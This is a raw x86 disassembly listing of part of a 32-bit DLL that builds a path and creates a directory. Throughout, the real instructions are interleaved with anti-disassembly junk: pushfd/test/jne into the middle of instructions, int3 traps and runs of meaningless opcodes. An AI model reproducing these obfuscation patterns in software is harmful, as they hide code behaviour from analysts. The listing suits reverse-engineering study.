adc dword [esi], edi
add byte [eax], al
dec eax
sbb dl, byte [edx]
or al, 0x30
int 0xf5
popfd
test eax, eax
jle 0x10003582
push 0xa
pushfd
test byte [0x100030b8], 0xb4
jne 0x100030b9
ror byte [esi - 0xe], cl
inc ebx
sbb dword [esi], ebx
push ds
mov al, byte [0xc80025d0]
mov bl, 0x86
pop esi
dec edi
and al, 0x60
pop dword [esi + ecx]
inc ecx
cld
cmp byte [ebx + edx + 0x69], ch
leave
jno 0x10003013
int3
popfd
lea edx, [ebp - 0x108]
push edx
push eax
call fcn.1000d63a
lea eax, [ebp - 0x108]
pushfd
test byte [0x100030e3], 0x2f
jne 0x100031e4
int3
popfd
add esp, 0xc
mov esi, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100031ea
pushfd
test byte [0x1000323d], 0x72
jne 0x1000323e
loopne 0x10003256
sahf
leave
mov dh, 0xeb
mov dl, byte [edx + 0xd]
dec edi
mov cl, 0x7e
inc eax
or bl, dl
and eax, 0x93a299ea
push cs
pushal
xor dl, byte [edx]
jg 0x1000326c
int1
jbe 0x10003296
jg 0x10003275
fidiv word [esi]
inc esi
test dword [0xc5f8db42], eax
mov dword [0xcf5ac1d8], eax
cmp ecx, esp
xchg ecx, eax
mov ah, 0x15
mov ah, byte [edi - 0x38c182a6]
aaa
sbb dword [eax - 0x19], esi
test eax, 0x2d0870b1
popfd
push edi
sub eax, esi
lea edi, [ebx - 1]
mov cl, byte [edi + 1]
pushfd
test byte [0x10003276], 0xc3
dec edi
add dword [esi + esi*8 + 0x327605], ebx
adc bl, al
jne 0x10003277
cmp eax, 0x915f9df8
xchg ecx, eax
aas
xchg ecx, eax
sub edx, dword [ebx]
sub al, 0x3d
or bl, byte [ebx]
inc edx
cmc
std
cmp eax, 0x6d70937b
push cs
cmp dl, byte [ecx + edi*8 - 0x39]
mov eax, 0x3ac25480
into
inc esp
cmp byte [edx], ah
jecxz 0x100031fe
popfd
inc edi
test cl, cl
pushfd
test byte [0x10003336], 0xd3
jne 0x10003337
jno 0x100032fe
sub al, 0x81
dec esp
xchg ebx, eax
xchg edx, eax
push esi
adc eax, 0x1c56edc9
dec ebx
adc dword [ecx - 0x23], 0x3e
js 0x10003246
sub eax, 0xb6316f9c
and edi, dword [edi]
mov ah, 0x60
frstor dword [0xe95fdc7b]
pop ecx
and al, 0xa7
add edi, ebp
and byte [eax - 0x40382da], 0xe
mov al, byte [0xfbfc7d26]
push cs
adc dl, byte [edi - 0xc180427]
in al, dx
test esp, esp
push es
loop 0x100032b2
shr byte [edi - 0x4514c96c], 1
cwde
sal eax, 1
push eax
dec eax
xchg byte [ebp - 0x1f], bl
pushal
or ecx, esi
inc eax
add dword [esi + 0x19db7fbc], eax
xchg byte [esi - 0x56], bl
pop ss
cwde
imul eax, ebx, 0x2306c22
pop ebx
xor dword [ebp + ebp + 0xf21a636], ebx
mov edx, 0x7edd4dd9
into
xor edi, dword [edx - 0x57]
sbb byte [ebx], bh
jae 0x10003312
add byte [esi - 0x80], ah
add edx, dword [ebx]
add byte [ebx], 0x13
mov eax, 0xe297aa76
les ebx, [ebp + 0x21cf6c74]
aas
cmc
cwde
or ch, byte [eax]
outsd dx, dword [esi]
adc dword [ebx + edi*2 - 0x555e482f], esp
out 0xbb, eax
inc edx
push ecx
sub eax, 0x5fedbb69
mov eax, 0xfdf9b38e
dec eax
out dx, eax
sub dword [edx + 0x22], ebx
sbb edi, edi
sbb bl, byte [edi - 0x7c4824ef]
outsd dx, dword [esi]
xchg edi, eax
popfd
jne 0x10003245
mov ecx, eax
pushfd
test byte [0x100033ae], 0xdc
jne 0x100033af
cmp dword [edx - 0x51ad0054], 0x30d2faeb
imul ebx, eax, 0xffffff96
mov ebp, 0x4cf085d0
mov eax, dword [0x370185fa]
test dword [ebx - 0x26], 0x64f1ed0
pushfd
daa
cli
pushfd
out dx, eax
cmp byte [edi - 0x1f], 0xf7
je 0x100033c6
inc ebx
arpl word [esi + ecx*8], bx
int3
popfd
shr ecx, 2
pushfd
test byte [0x100033ec], 0x38
jne 0x100033ed
push ecx
mov bl, 0xc4
mov ecx, 0x62d6285c
call 0xa5a41501
aaa
loope 0x1000336c
xchg ebp, eax
mov cl, byte [edx + ebx*2 + 0xc]
cmc
rol byte [ebp - 0xb1179fd], 1
les esp, [0x2606905a]
insd dword es:[edi], dx
daa
scasb al, byte es:[edi]
fcomi st(6)
dec edx
ja 0x1000345e
jnp 0x10003427
inc ebx
xchg ebx, eax
sub byte [edi], 0xc1
js 0x100033e2
pop ebp
xchg edi, eax
push ebp
popfd
rep movsd dword es:[edi], dword [esi]
pushfd
test byte [0x10003446], 4
jne 0x10003447
dec ebp
cdq
inc ebp
ja 0x100033c0
jg 0x100033e5
sbb dword [edx - 0x78327394], edi
mov al, byte [0x326a1d9c]
cmp ah, ah
xchg ecx, eax
dec ecx
xchg esi, eax
dec esi
mov ebx, 0xd63b01b5
stc
sbb esp, dword [edi]
jb 0x100033f9
ficomp word [edx - 0x63c86891]
push ss
popfd
mov dh, 0x22
out dx, eax
add eax, 0x9b042f3c
jbe 0x10003449
mov esi, esp
lodsd eax, dword [esi]
inc ebx
leave
and edx, dword [edi + 0x4c]
cdq
add dword [0x5b34ddcf], esi
lds esp, [ebp - 0x6a6f7bf9]
std
jl 0x100033db
popfd
mov ecx, eax
and ecx, 3
enter 0xffffffffffffe183, 3
push ebx
rep movsd dword es:[edi], dword [esi]
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
pushfd
test byte [0x10003476], 0xe2
jne 0x10003577
mov eax, dword [0xe626870d]
or edx, ecx
out dx, eax
mov al, byte [0xd2a53855]
sahf
jecxz 0x100034b0
and ch, byte [esi]
fstp qword [esi]
aas
xchg esp, eax
xlatb
test edx, ebx
loopne 0x1000348c
sbb dword ds:[edx], esp
jg 0x100034a3
add ebp, dword [esi + eax*4]
lodsb al, byte [esi]
mov bl, 0xb8
mov byte es:[edx], bh
mov byte [edx], bh
or dword [ecx - 0x58341790], edx
test dword [di], 0x5f99be69
mov dh, 0x44
std
or edx, ebx
insd dword es:[edi], dx
shl dh, 1
cmpsb byte [esi], byte es:[edi]
out 0xa6, al
mov dh, 0x74
xchg ebx, eax
cmp al, 0x84
in eax, dx
xchg esp, eax
sbb eax, 0xbfc43adc
into
sahf
sbb al, 0x47
mov edi, 0x471c9ece
or al, 0xee
fisub dword [0x88c00619]
pop eax
inc edx
sub byte [edx - 0x2f13250f], ch
xchg esp, eax
adc eax, 0xae23591e
out dx, al
dec edi
out dx, eax
mov bh, 0xf2
popal
or dword [eax - 0x5f], 0x55
cmp eax, 0x16408a22
pop edx
sub eax, 0x89cff49b
out dx, eax
sub eax, 0x60177dd3
fnstsw word [edi + 0x69]
bound edi, qword [bx]
out 0xcd, al
xor byte [ebx - 0x73], ch
mov ebx, 0x5f04a977
sal ch, cl
bound ecx, qword [ecx]
inc ebx
pop edi
das
fdecstp
out dx, al
shr byte [ecx], 0x2e
sub eax, 0x72d61d94
cmpsd dword [esi], dword es:[edi]
cwde
sti
leave
jmp [eax]
popfd
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
pop edi
pop esi
mov eax, 1
pushfd
test byte [0x10003683], 0x95
jne 0x10003684
pushal
push cs
dec eax
add cl, byte [edx]
mov ebp, 0x9f158e03
cmp cl, bh
mov dword [0x22fe9220], eax
adc edx, dword [edx - 0x49]
sub edi, dword [ebp - 0x5f]
shl byte [ebx - 0x2b], 1
adc dh, ch
xchg edx, eax
in al, dx
or dword [ebp + 0x23467b03], ecx
adc byte ss:[ecx - 0x70274891], dl
lahf
cld
call 0x9497d2c5
insb byte es:[edi], dx
add eax, 0xb49cd06a
sbb al, 2
xchg ebx, eax
fistp dword [ebp + ebx*8 - 0x7ecb1ae3]
mov bl, 0xd7
add dword [edx - 0x642a2ae0], eax
sbb eax, 0xafa41bdc
insb byte es:[edi], dx
adc dl, byte [edx]
lahf
xor al, 0x2a
push ebx
push 0xffffffffffffffb0
pop ebx
pop ecx
add eax, dword [esi - 0x1b672c3b]
and eax, 0xbf61497a
or al, 0xe8
cmc
mov ebp, dword [edi - 0x7a]
imul ebx, dword [eax]
dec esp
add cl, bh
int3
rol bh, cl
sub al, 0x6a
push esp
mov byte [edx + 0x3a], dh
xchg esi, eax
shr byte [ebx - 0x17a8da74], 0x97
jo 0x1000368f
popfd
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000d498
mov esp, ebp
int 0xe8
or byte [esi - 0x1a750000], bl
add byte [ebx - 0x743ca21b], cl
dec ebp
cld
pop ebp
ret
mov ecx, dword [ebp - 4]
xor ecx, ebp
xor eax, eax
pushfd
test byte [0x10003734], 0xca
jne 0x10003735
out 0xc7, eax
scasd eax, dword es:[edi]
mov cl, 0xa0
cdq
mov al, 0xba
jne 0x1000367b
xor al, 0xa0
jns 0x1000368a
and ebx, dword [ecx]
push esp
clc
push ebx
leave
cmp byte [ecx - 0x553fe270], ch
pop eax
js 0x10003672
int3
fbld tbyte [ebx + 0x3b]
cmp al, 0x73
loopne 0x10003754
xor ebx, dword [eax + edi + 0x558b4f9a]
push ebp
jecxz 0x1000370c
pop esp
rcl dword [ecx]
test byte [ebx - 0x6e], bh
inc ecx
out 0x69, al
pop sp
adc dword [esi - 0x2e9071f9], 0xc50cff02
std
ror ecx, cl
movsd dword es:[edi], dword [esi]
popfd
pop ebx
pushfd
test byte [0x10003770], 0xd8
jne 0x10003771
add cl, byte [ecx - 0x67]
insb byte es:[edi], dx
adc al, 0xa2
popal
das
cwde
xchg ebp, eax
ror ebx, 1
pop es
or dword [ecx + ebx*8 + 7], eax
pushfd
dec esi
xor edx, dword [ebx]
dec ecx
int 0x6f
cwde
fnstcw word [edi + 0x1f359fae]
xchg edx, eax
leave
test dword [edi + 0x7d8e1cef], edx
push ecx
mov fs, word [ebp + 0x38e2845c]
sbb al, 0xd8
popfd
call fcn.1000d498
mov esp, ebp
pushfd
test byte [0x1000383c], 0x11
jne 0x1000383d
jae 0x10003719
pop ecx
push edx
add al, 0x5f
pop edx
int3
popfd
pop ebp
pushfd
test byte [0x10003869], 0x1d
jne 0x1000386a
test al, 0x6e
adc eax, 0x56d47154
outsb dx, byte [esi]
mov ss, word [edx + 0x7c4d443c]
lodsd eax, dword [esi]
aaa
xchg edx, eax
or dword [esi - 0x26], ebp
xlatb
mov dl, 0x57
jae 0x10003857
push ebp
sub eax, 0x9a1ff96
mov al, 0x31
popfd
ret